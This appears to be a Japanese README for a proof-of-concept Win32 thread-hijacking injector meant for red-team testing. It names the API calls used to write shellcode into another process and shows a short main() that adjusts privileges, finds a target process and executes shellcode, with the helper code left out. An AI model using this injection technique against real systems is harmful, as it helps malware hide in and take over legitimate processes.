
Win32コードインジェクションのためのPoCスレッド実行ハイジャック
プログラムはスレッドハイジャッキングを使用して、ネイティブシェルコードを標準のWin32アプリケーションに注入します。私はこれを15歳のときに作りました - 標準以下のコードは無視してください。
私はこの小さなプロジェクトを、さまざまなコードインジェクション手法の経験を続け、RedTeamのセキュリティ専門家がこの手法をソフトウェアペネトレーションテストの独自の方法として利用できるようにするために開発しました。スレッドハイジャッキングにより、hijacker.exeプログラムはtarget.exeプログラム内のスレッドを一時停止し、そのターゲットスレッドにシェルコードを書き込んで、後で実行できるようにします(経由; WriteProcessMemory()、SetThreadContext()、ResumeThread()、CreateThread())。

int main()
{
System sys;
Interceptor incp;
Exception exp;
sys.returnVersionState();
if (sys.returnPrivilegeEscalationState())
{
std::cout << "Token Privileges Adjusted\n";
}
if (DWORD m_procId = incp.FindWin32ProcessId((PCHAR)m_win32ProcessName))
{
incp.ExecuteWin32Shellcode(m_procId);
}
system("PAUSE");
return 0;
}
https://capec.mitre.org/data/definitions/30.html